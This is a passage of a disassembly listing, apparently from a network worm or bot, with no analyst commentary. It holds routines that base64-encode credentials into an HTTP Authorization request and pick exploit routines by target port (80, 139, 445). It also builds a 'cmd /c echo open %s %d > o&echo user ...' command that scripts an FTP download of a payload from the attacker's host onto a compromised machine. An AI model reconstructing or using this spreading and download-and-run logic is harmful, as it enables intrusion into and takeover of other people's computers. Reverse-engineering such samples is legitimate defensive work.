		fmul	dbl_427688
		call	sub_41C798
		and	dword ptr [ebp+var_8+4], 0
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		push	ecx
		push	ecx		; double
		fst	[ebp+var_8]
		fmul	dbl_427680
		fstp	[esp+10h+var_10]
		call	sub_41C679
		fadd	st, st
		pop	ecx
		pop	ecx
		fadd	[ebp+var_8]
		call	sub_41C798
		inc	eax
		leave
		retn
sub_40D031	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D07D	proc near		; CODE XREF: sub_40D21F+24p

var_40		= qword	ptr -40h

		mov	eax, offset loc_426DF7
		call	sub_41CC64
		sub	esp, 2Ch
		mov	al, [ebp+13h]
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		lea	ecx, [ebp-38h]
		push	edi
		mov	[ebp-20h], edi
		mov	[ebp-38h], al
		call	sub_40D6B4
		push	1
		pop	ebx
		push	dword ptr [ebp+10h]
		mov	[ebp-4], ebx
		call	sub_40D031
		cmp	[ebp-2Ch], eax
		pop	ecx
		jnb	short loc_40D0BF
		push	edi
		push	eax
		lea	ecx, [ebp-38h]
		call	sub_40D62F


loc_40D0BF:				; CODE XREF: sub_40D07D+36j
		cmp	[ebp+10h], edi
		mov	[ebp-18h], edi
		jbe	loc_40D1DC
		mov	ebx, [ebp+10h]


loc_40D0CE:				; CODE XREF: sub_40D07D+156j
		cmp	dword ptr [ebp+10h], 3
		jb	short loc_40D0D8
		push	3
		jmp	short loc_40D0EA
; ---------------------------------------------------------------------------


loc_40D0D8:				; CODE XREF: sub_40D07D+55j
		cmp	dword ptr [ebp+10h], 2
		jnz	short loc_40D0E2
		push	2
		jmp	short loc_40D0EA
; ---------------------------------------------------------------------------


loc_40D0E2:				; CODE XREF: sub_40D07D+5Fj
		cmp	dword ptr [ebp+10h], 1
		jnz	short loc_40D0EB
		push	1


loc_40D0EA:				; CODE XREF: sub_40D07D+59j
					; sub_40D07D+63j
		pop	ebx


loc_40D0EB:				; CODE XREF: sub_40D07D+69j
		mov	[ebp-28h], ebx
		mov	[ebp-24h], edi
		fild	qword ptr [ebp-28h]
		push	ecx
		push	ecx		; double
		fmul	dbl_427698
		fstp	[esp+40h+var_40]
		call	sub_41C7BF
		pop	ecx
		pop	ecx
		call	sub_41C798
		cmp	ebx, edi
		mov	[ebp-1Ch], eax
		jbe	short loc_40D12A
		mov	esi, [ebp+0Ch]
		mov	ecx, ebx
		mov	edx, ecx
		lea	edi, [ebp-10h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		xor	edi, edi


loc_40D12A:				; CODE XREF: sub_40D07D+93j
		mov	cl, [ebp-10h]
		mov	dl, [ebp-10h]
		sar	cl, 2
		and	cl, 3Fh
		and	dl, 3
		mov	[ebp-14h], cl
		mov	cl, [ebp-0Fh]
		sar	cl, 4
		and	cl, 0Fh
		add	[ebp+0Ch], ebx
		shl	dl, 4
		add	cl, dl
		mov	dl, [ebp-0Fh]
		mov	[ebp-13h], cl
		mov	cl, [ebp-0Eh]
		sar	cl, 6
		and	dl, 0Fh
		sub	[ebp+10h], ebx
		and	cl, 3
		xor	esi, esi
		shl	dl, 2
		add	cl, dl
		mov	[ebp-12h], cl
		mov	cl, [ebp-0Eh]
		and	cl, 3Fh
		cmp	eax, edi
		mov	[ebp-11h], cl
		jbe	short loc_40D198
		add	[ebp-18h], eax


loc_40D17C:				; CODE XREF: sub_40D07D+119j
		movsx	eax, byte ptr [ebp+esi-14h]
		lea	ecx, [ebp-38h]
		mov	al, byte_43245C[eax]
		push	eax
		push	1
		call	sub_40D4B1
		inc	esi
		cmp	esi, [ebp-1Ch]
		jb	short loc_40D17C


loc_40D198:				; CODE XREF: sub_40D07D+FAj
		cmp	dword ptr [ebp-18h], 48h
		jb	short loc_40D1B6
		push	dword ptr [ebp+14h]
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	ecx, [ebp-38h]
		push	dword ptr [ebp+14h]
		call	sub_40D50A
		mov	[ebp-18h], edi


loc_40D1B6:				; CODE XREF: sub_40D07D+11Fj
		push	4
		pop	esi
		cmp	[ebp-1Ch], esi
		jnb	short loc_40D1D0
		sub	esi, [ebp-1Ch]


loc_40D1C1:				; CODE XREF: sub_40D07D+151j
		push	3Dh
		push	1
		lea	ecx, [ebp-38h]
		call	sub_40D4B1
		dec	esi
		jnz	short loc_40D1C1


loc_40D1D0:				; CODE XREF: sub_40D07D+13Fj
		cmp	[ebp+10h], edi
		ja	loc_40D0CE
		push	1
		pop	ebx


loc_40D1DC:				; CODE XREF: sub_40D07D+48j
		mov	esi, [ebp+8]
		mov	al, [ebp-38h]
		push	edi
		mov	ecx, esi
		mov	[esi], al
		call	sub_40D6B4
		push	dword_427690
		lea	eax, [ebp-38h]
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_40D561
		mov	[ebp-20h], ebx
		and	byte ptr [ebp-4], 0
		push	ebx
		lea	ecx, [ebp-38h]
		call	sub_40D6B4
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40D07D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D21F	proc near		; CODE XREF: ___:0040D41Cp
		mov	eax, offset loc_426E14
		call	sub_41CC64
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	offset dword_43D808
		lea	eax, [ebp-1Ch]
		push	dword ptr [ebp+10h]
		xor	ebx, ebx
		mov	[ebp-4], ebx
		push	dword ptr [ebp+0Ch]
		push	eax
		call	sub_40D07D
		mov	eax, [ebp+1Ch]
		mov	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 1
		lea	esi, [ecx+eax+36h]
		push	esi
		call	sub_41B4D5
		mov	edi, eax
		add	esp, 14h
		cmp	edi, ebx
		jnz	short loc_40D269
		xor	bl, bl
		jmp	short loc_40D2AD
; ---------------------------------------------------------------------------


loc_40D269:				; CODE XREF: sub_40D21F+44j
		mov	ecx, [ebp-18h]
		mov	eax, offset dword_4276A0
		cmp	ecx, ebx
		jnz	short loc_40D277
		mov	ecx, eax


loc_40D277:				; CODE XREF: sub_40D21F+54j
		cmp	[ebp+18h], ebx
		jz	short loc_40D27F
		mov	eax, [ebp+18h]


loc_40D27F:				; CODE XREF: sub_40D21F+5Bj
		push	ecx
		push	eax
		push	offset aGetHttp1_0Host ; "GET /	HTTP/1.0\r\nHost: %s\r\nAuthorization"...
		push	esi
		push	edi
		call	sub_41B980
		add	esp, 14h
		push	ebx
		push	esi
		push	edi
		push	dword ptr [ebp+8]
		call	dword_4CB6A4
		cmp	eax, esi
		jz	short loc_40D2A4
		xor	bl, bl
		jmp	short loc_40D2A6
; ---------------------------------------------------------------------------


loc_40D2A4:				; CODE XREF: sub_40D21F+7Fj
		mov	bl, 1


loc_40D2A6:				; CODE XREF: sub_40D21F+83j
		push	edi
		call	sub_41B0B1
		pop	ecx


loc_40D2AD:				; CODE XREF: sub_40D21F+48j
		and	byte ptr [ebp-4], 0
		push	1
		lea	ecx, [ebp-1Ch]
		call	sub_40D6B4
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	1
		lea	ecx, [ebp+14h]
		call	sub_40D6B4
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40D21F	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		and	byte ptr [ebp-420h], 0
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp-41Fh]
		push	8Fh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp-420h]
		push	offset sub_432608
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		mov	eax, offset byte_42910C
		push	eax
		push	eax
		movzx	eax, word ptr dword_4CB390
		push	eax
		push	dword ptr [ebp+8]
		call	sub_40AC10
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "...
		lea	eax, [ebp-391h]
		push	400h
		push	eax
		call	sub_41B980
		add	eax, 90h
		push	eax
		lea	eax, [ebp-420h]
		push	eax
		push	164h
		lea	eax, [ebp-8]
		push	offset sub_4324A0
		push	eax
		call	sub_40CADB
		xor	esi, esi
		add	esp, 30h
		cmp	[ebp-4], esi
		jnz	short loc_40D378
		xor	eax, eax
		jmp	loc_40D4A4
; ---------------------------------------------------------------------------


loc_40D378:				; CODE XREF: ___:0040D36Fj
		mov	[ebp-0Ch], esi


loc_40D37B:				; CODE XREF: ___:0040D47Bj
		test	esi, esi
		jnz	loc_40D481
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3C22h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40D469
		xor	eax, eax
		lea	edi, [ebp-1Ah]
		stosd
		push	dword ptr [ebp+0A8h]
		stosd
		stosd
		stosw
		mov	word ptr [ebp-1Ch], 2
		call	dword_4CB654
		mov	[ebp-1Ah], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4CB694
		mov	[ebp-18h], eax
		lea	eax, [ebp-1Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB5FC
		cmp	eax, 0FFFFFFFFh
		jz	loc_40D45E
		cmp	dword ptr [ebp+0A8h], 50h
		jnz	short loc_40D426
		mov	al, [ebp+0C3h]
		sub	esp, 10h
		mov	esi, esp
		mov	[ebp-20h], esp
		push	0
		mov	ecx, esi
		mov	[esi], al
		call	sub_40D6B4
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+0Ch]
		push	eax
		mov	ecx, esi
		call	sub_40D6F0
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40D21F
		add	esp, 1Ch
		jmp	short loc_40D45B
; ---------------------------------------------------------------------------


loc_40D426:				; CODE XREF: ___:0040D3E4j
		cmp	dword ptr [ebp+0A8h], 8Bh
		jnz	short loc_40D440
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40CFDF
		jmp	short loc_40D458
; ---------------------------------------------------------------------------


loc_40D440:				; CODE XREF: ___:0040D430j
		cmp	dword ptr [ebp+0A8h], 1BDh
		jnz	short loc_40D45E
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40CF05


loc_40D458:				; CODE XREF: ___:0040D43Ej
		add	esp, 0Ch


loc_40D45B:				; CODE XREF: ___:0040D424j
		movzx	esi, al


loc_40D45E:				; CODE XREF: ___:0040D3D7j
					; ___:0040D44Aj
		push	ebx
		call	dword_4CB6EC
		test	esi, esi
		jnz	short loc_40D474


loc_40D469:				; CODE XREF: ___:0040D394j
		push	3E8h
		nop
		call	near ptr 2670EC6h


loc_40D474:				; CODE XREF: ___:0040D467j
		inc	dword ptr [ebp-0Ch]
		cmp	dword ptr [ebp-0Ch], 2
		jl	loc_40D37B


loc_40D481:				; CODE XREF: ___:0040D37Dj
		lea	ecx, [ebp-8]
		call	sub_40C900
		test	esi, esi
		jz	short loc_40D4A2
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		inc	dword_431B08[eax]
		lea	eax, dword_431B08[eax]


loc_40D4A2:				; CODE XREF: ___:0040D48Bj
		mov	eax, esi


loc_40D4A4:				; CODE XREF: ___:0040D373j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426DD8


loc_40D4A9:				; CODE XREF: sub_426DD8+3j
					; ___:00426DF1j ...
		push	1
		call	sub_40D6B4
		retn
; END OF FUNCTION CHUNK	FOR sub_426DD8

; =============== S U B	R O U T	I N E =======================================



sub_40D4B1	proc near		; CODE XREF: sub_40D07D+110p
					; sub_40D07D+14Bp

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, dword_427690
		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40D4CB
		call	sub_42669A


loc_40D4CB:				; CODE XREF: sub_40D4B1+13j
		test	ebx, ebx
		jbe	short loc_40D502
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_40D62F
		test	al, al
		jz	short loc_40D502
		movsx	eax, [esp+0Ch+arg_4]
		push	ebx
		push	eax
		mov	eax, [esi+4]
		add	eax, [esi+8]
		push	eax
		call	sub_41B590
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0


loc_40D502:				; CODE XREF: sub_40D4B1+1Cj
					; sub_40D4B1+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D4B1	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D50A	proc near		; CODE XREF: sub_40D07D+131p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, dword_427690
		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40D524
		call	sub_42669A


loc_40D524:				; CODE XREF: sub_40D50A+13j
		test	ebx, ebx
		jbe	short loc_40D559
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_40D62F
		test	al, al
		jz	short loc_40D559
		mov	eax, [esi+8]
		push	ebx
		push	[esp+10h+arg_0]
		add	eax, [esi+4]
		push	eax
		call	sub_41C310
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0


loc_40D559:				; CODE XREF: sub_40D50A+1Cj
					; sub_40D50A+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D50A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D561	proc near		; CODE XREF: sub_40D07D+17Cp
					; sub_4265B0+15p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		mov	edi, ecx
		cmp	[ebx+8], eax
		jnb	short loc_40D579
		call	sub_426573


loc_40D579:				; CODE XREF: sub_40D561+11j
		mov	eax, [ebx+8]
		mov	ecx, [ebp+arg_4]
		mov	esi, eax
		sub	esi, ecx
		cmp	[ebp+arg_8], esi
		jnb	short loc_40D58B
		mov	esi, [ebp+arg_8]


loc_40D58B:				; CODE XREF: sub_40D561+25j
		cmp	edi, ebx
		jnz	short loc_40D5AD
		push	dword_427690
		add	esi, ecx
		mov	ecx, edi
		push	esi
		call	sub_40D725
		push	[ebp+arg_4]
		mov	ecx, edi
		push	0
		call	sub_40D725
		jmp	short loc_40D626
; ---------------------------------------------------------------------------


loc_40D5AD:				; CODE XREF: sub_40D561+2Cj
		test	esi, esi
		jbe	short loc_40D5F0
		cmp	esi, eax
		jnz	short loc_40D5F0
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D5C1
		mov	eax, offset dword_4276A0


loc_40D5C1:				; CODE XREF: sub_40D561+59j
		cmp	byte ptr [eax-1], 0FEh
		jnb	short loc_40D5F0
		push	1
		mov	ecx, edi
		call	sub_40D6B4
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D5DC
		mov	eax, offset dword_4276A0


loc_40D5DC:				; CODE XREF: sub_40D561+74j
		mov	[edi+4], eax
		mov	ecx, [ebx+8]
		mov	[edi+8], ecx
		mov	ecx, [ebx+0Ch]
		mov	[edi+0Ch], ecx
		inc	byte ptr [eax-1]
		jmp	short loc_40D626
; ---------------------------------------------------------------------------


loc_40D5F0:				; CODE XREF: sub_40D561+4Ej
					; sub_40D561+52j ...
		push	1
		push	esi
		mov	ecx, edi
		call	sub_40D62F
		test	al, al
		jz	short loc_40D626
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D60A
		mov	eax, offset dword_4276A0


loc_40D60A:				; CODE XREF: sub_40D561+A2j
		mov	ecx, [ebp+arg_4]
		push	esi
		add	eax, ecx
		push	eax
		push	dword ptr [edi+4]
		call	sub_41C310
		mov	eax, [edi+4]
		add	esp, 0Ch
		mov	[edi+8], esi
		and	byte ptr [eax+esi], 0


loc_40D626:				; CODE XREF: sub_40D561+4Aj
					; sub_40D561+8Dj ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_40D561	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D62F	proc near		; CODE XREF: sub_40D07D+3Dp
					; sub_40D4B1+28p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		jbe	short loc_40D641
		call	sub_42669A


loc_40D641:				; CODE XREF: sub_40D62F+Bj
		mov	ecx, [esi+4]
		xor	edx, edx
		cmp	ecx, edx
		jz	short loc_40D66A
		mov	al, [ecx-1]
		cmp	al, dl
		jz	short loc_40D66A
		cmp	al, 0FFh
		jz	short loc_40D66A
		cmp	edi, edx
		jnz	short loc_40D6A5
		dec	al
		push	edx
		mov	[ecx-1], al


loc_40D65F:				; CODE XREF: sub_40D62F+47j
		mov	ecx, esi
		call	sub_40D6B4


loc_40D666:				; CODE XREF: sub_40D62F+4Bj
					; sub_40D62F+52j
		xor	al, al
		jmp	short loc_40D6AF
; ---------------------------------------------------------------------------


loc_40D66A:				; CODE XREF: sub_40D62F+19j
					; sub_40D62F+20j ...
		cmp	edi, edx
		jnz	short loc_40D683
		cmp	[esp+8+arg_4], dl
		jz	short loc_40D678
		push	1
		jmp	short loc_40D65F
; ---------------------------------------------------------------------------


loc_40D678:				; CODE XREF: sub_40D62F+43j
		cmp	ecx, edx
		jz	short loc_40D666
		mov	[esi+8], edx
		mov	[ecx], dl
		jmp	short loc_40D666
; ---------------------------------------------------------------------------


loc_40D683:				; CODE XREF: sub_40D62F+3Dj
		cmp	[esp+8+arg_4], dl
		jz	short loc_40D6A0
		mov	eax, [esi+0Ch]
		cmp	eax, 1Fh
		ja	short loc_40D695
		cmp	eax, edi
		jnb	short loc_40D6AD


loc_40D695:				; CODE XREF: sub_40D62F+60j
		push	1
		mov	ecx, esi
		call	sub_40D6B4
		jmp	short loc_40D6A5
; ---------------------------------------------------------------------------


loc_40D6A0:				; CODE XREF: sub_40D62F+58j
		cmp	[esi+0Ch], edi
		jnb	short loc_40D6AD


loc_40D6A5:				; CODE XREF: sub_40D62F+28j
					; sub_40D62F+6Fj
		push	edi
		mov	ecx, esi
		call	sub_40D78C


loc_40D6AD:				; CODE XREF: sub_40D62F+64j
					; sub_40D62F+74j
		mov	al, 1


loc_40D6AF:				; CODE XREF: sub_40D62F+39j
		pop	edi
		pop	esi
		retn	8
sub_40D62F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D6B4	proc near		; CODE XREF: sub_40D07D+1Fp
					; sub_40D07D+16Ap ...

arg_0		= byte ptr  4

		cmp	[esp+arg_0], 0
		push	esi
		mov	esi, ecx
		jz	short loc_40D6E0
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_40D6E0
		lea	ecx, [eax-1]
		mov	al, [eax-1]
		test	al, al
		jz	short loc_40D6D9
		cmp	al, 0FFh
		jz	short loc_40D6D9
		dec	al
		mov	[ecx], al
		jmp	short loc_40D6E0
; ---------------------------------------------------------------------------


loc_40D6D9:				; CODE XREF: sub_40D6B4+19j
					; sub_40D6B4+1Dj
		push	ecx
		call	sub_41CC83
		pop	ecx


loc_40D6E0:				; CODE XREF: sub_40D6B4+8j
					; sub_40D6B4+Fj ...
		and	dword ptr [esi+4], 0
		and	dword ptr [esi+8], 0
		and	dword ptr [esi+0Ch], 0
		pop	esi
		retn	4
sub_40D6B4	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D6F0	proc near		; CODE XREF: ___:0040D410p
					; sub_40D849+28p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		push	1
		mov	esi, ecx
		push	edi
		call	sub_40D62F
		test	al, al
		jz	short loc_40D71E
		push	edi
		push	[esp+0Ch+arg_0]
		push	dword ptr [esi+4]
		call	sub_41C310
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0


loc_40D71E:				; CODE XREF: sub_40D6F0+12j
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
sub_40D6F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D725	proc near		; CODE XREF: sub_40D561+39p
					; sub_40D561+45p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, ecx
		cmp	[edi+8], esi
		jnb	short loc_40D738
		call	sub_426573


loc_40D738:				; CODE XREF: sub_40D725+Cj
		mov	ecx, edi
		call	sub_40D849
		mov	eax, [edi+8]
		mov	ebx, [esp+0Ch+arg_4]
		sub	eax, esi
		cmp	eax, ebx
		jnb	short loc_40D74E
		mov	ebx, eax


loc_40D74E:				; CODE XREF: sub_40D725+25j
		test	ebx, ebx
		jbe	short loc_40D784
		mov	ecx, [edi+4]
		sub	eax, ebx
		add	ecx, esi
		push	eax
		lea	eax, [ecx+ebx]
		push	eax
		push	ecx
		call	sub_41CC90
		mov	esi, [edi+8]
		add	esp, 0Ch
		sub	esi, ebx
		mov	ecx, edi
		push	0
		push	esi
		call	sub_40D62F
		test	al, al
		jz	short loc_40D784
		mov	eax, [edi+4]
		mov	[edi+8], esi
		and	byte ptr [esi+eax], 0


loc_40D784:				; CODE XREF: sub_40D725+2Bj
					; sub_40D725+53j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D725	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D78C	proc near		; CODE XREF: sub_40D62F+79p
		mov	eax, offset loc_426E20
		call	sub_41CC64
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		or	edi, 1Fh
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		mov	[ebp-10h], esp
		mov	[ebp-14h], esi
		jbe	short loc_40D7B2
		mov	edi, [ebp+8]


loc_40D7B2:				; CODE XREF: sub_40D78C+21j
		and	dword ptr [ebp-4], 0
		lea	eax, [edi+2]
		test	eax, eax
		jge	short loc_40D7BF
		xor	eax, eax


loc_40D7BF:				; CODE XREF: sub_40D78C+2Fj
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	[ebp+8], eax
		jmp	short loc_40D7F0
; ---------------------------------------------------------------------------
		mov	eax, [ebp+8]
		mov	[ebp-18h], eax
		add	eax, 2
		test	eax, eax
		jge	short loc_40D7DA
		xor	eax, eax


loc_40D7DA:				; CODE XREF: sub_40D78C+4Aj
		push	eax
		call	sub_41CFC5
		mov	[ebp+8], eax
		pop	ecx
		mov	eax, offset loc_40D7EA
		retn
; ---------------------------------------------------------------------------


loc_40D7EA:				; DATA XREF: sub_40D78C+58o
		mov	esi, [ebp-14h]
		mov	edi, [ebp-18h]


loc_40D7F0:				; CODE XREF: sub_40D78C+3Dj
		mov	eax, [esi+8]
		test	eax, eax
		jbe	short loc_40D80E
		cmp	eax, edi
		jbe	short loc_40D7FD
		mov	eax, edi


loc_40D7FD:				; CODE XREF: sub_40D78C+6Dj
		push	eax
		mov	eax, [ebp+8]
		push	dword ptr [esi+4]
		inc	eax
		push	eax
		call	sub_41C310
		add	esp, 0Ch


loc_40D80E:				; CODE XREF: sub_40D78C+69j
		mov	ebx, [esi+8]
		push	1
		mov	ecx, esi
		call	sub_40D6B4
		mov	eax, [ebp+8]
		inc	eax
		mov	[esi+4], eax
		and	byte ptr [eax-1], 0
		cmp	ebx, edi
		mov	[esi+0Ch], edi
		ja	short loc_40D82E
		mov	edi, ebx


loc_40D82E:				; CODE XREF: sub_40D78C+9Ej
		mov	eax, [esi+4]
		mov	ecx, [ebp-0Ch]
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_40D78C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D849	proc near		; CODE XREF: sub_40D725+15p
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, [edi+4]
		test	esi, esi
		jz	short loc_40D876
		mov	al, [esi-1]
		test	al, al
		jz	short loc_40D876
		cmp	al, 0FFh
		jz	short loc_40D876
		push	1
		call	sub_40D6B4
		push	esi
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	esi
		mov	ecx, edi
		call	sub_40D6F0


loc_40D876:				; CODE XREF: sub_40D849+9j
					; sub_40D849+10j ...
		pop	edi
		pop	esi
		retn
sub_40D849	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D879	proc near		; DATA XREF: ___:00429008o
		test	byte_4DBC74, 1
		jnz	short loc_40D889
		or	byte_4DBC74, 1


loc_40D889:				; CODE XREF: sub_40D879+7j
		jmp	$+5
		push	offset nullsub_1
		call	sub_41D040
		pop	ecx
		retn
sub_40D879	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40D89B	proc near		; DATA XREF: ___:0042900Co
		jmp	$+5
sub_40D89B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40D8A0	proc near
		mov	eax, dword_4328C0
		add	eax, 6
		mov	dword_4CE374, eax
		retn
sub_40D8A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D8AE	proc near		; CODE XREF: sub_40D8AE+D0p
					; ___:0040DE0Dp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_7		= byte ptr  0Fh
arg_C		= word ptr  14h
arg_14		= dword	ptr  1Ch
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= byte ptr  30h
arg_2B		= byte ptr  33h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_28], 0
		push	ebx
		push	esi
		push	edi
		jz	short loc_40D8C2
		or	[ebp+arg_7], 1
		jmp	short loc_40D8C6
; ---------------------------------------------------------------------------


loc_40D8C2:				; CODE XREF: sub_40D8AE+Cj
		and	[ebp+arg_7], 0FEh


loc_40D8C6:				; CODE XREF: sub_40D8AE+12j
		mov	ecx, [ebp+arg_24]
		mov	ebx, [ebp+arg_20]
		movzx	eax, cx
		lea	edx, [ebx+18h]
		cmp	edx, eax
		ja	short loc_40D8EA
		or	[ebp+arg_7], 2
		and	[ebp+arg_2B], 0
		lea	eax, [ebx+18h]
		mov	[ebp+arg_14], ebx
		mov	[ebp+arg_C], ax
		jmp	short loc_40D8FC
; ---------------------------------------------------------------------------


loc_40D8EA:				; CODE XREF: sub_40D8AE+26j
		add	eax, 0FFFFFFE8h
		and	[ebp+arg_7], 0FDh
		mov	[ebp+arg_C], cx
		mov	[ebp+arg_14], eax
		mov	[ebp+arg_2B], 1


loc_40D8FC:				; CODE XREF: sub_40D8AE+3Aj
		movzx	eax, [ebp+arg_C]
		push	eax
		mov	[ebp+var_4], eax
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		mov	[ebp+arg_20], eax
		jz	loc_40D995
		push	6
		lea	esi, [ebp+arg_4]
		pop	ecx
		mov	edi, eax
		rep movsd
		mov	edi, [ebp+arg_14]
		mov	esi, [ebp+arg_1C]
		push	edi
		add	eax, 18h
		push	esi
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	0
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_20]
		push	[ebp+arg_0]
		nop
		call	near ptr 26F0000h
		test	eax, eax
		jz	short loc_40D98C
		mov	eax, [ebp+var_4]
		cmp	[ebp+var_8], eax
		jnz	short loc_40D98C
		push	[ebp+arg_20]
		call	sub_41B0B1
		cmp	[ebp+arg_2B], 0
		pop	ecx
		jz	short loc_40D988
		push	0
		sub	ebx, edi
		push	[ebp+arg_24]
		add	edi, esi
		lea	esi, [ebp+arg_4]
		push	ebx
		push	edi
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	[ebp+arg_0]
		rep movsd
		call	sub_40D8AE
		add	esp, 2Ch
		jmp	short loc_40D997
; ---------------------------------------------------------------------------


loc_40D988:				; CODE XREF: sub_40D8AE+B3j
		mov	al, 1
		jmp	short loc_40D997
; ---------------------------------------------------------------------------


loc_40D98C:				; CODE XREF: sub_40D8AE+9Cj
					; sub_40D8AE+A4j
		push	[ebp+arg_20]
		call	sub_41B0B1
		pop	ecx


loc_40D995:				; CODE XREF: sub_40D8AE+61j
		xor	al, al


loc_40D997:				; CODE XREF: sub_40D8AE+D8j
					; sub_40D8AE+DCj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40D8AE	endp

; ---------------------------------------------------------------------------
		db  55h	; U
		db  8Bh	; ‹
		db 0ECh	; ì
		db 0B8h	; ¸
		db 0DCh	; Ü
		db  60h	; `
		db    0
		db    0
		db 0E8h	; è
		db  77h	; w
		db 0E1h	; á
		db    0
		db    0
		db  53h	; S
		db  56h	; V
		db  57h	; W
		db  68h	; h
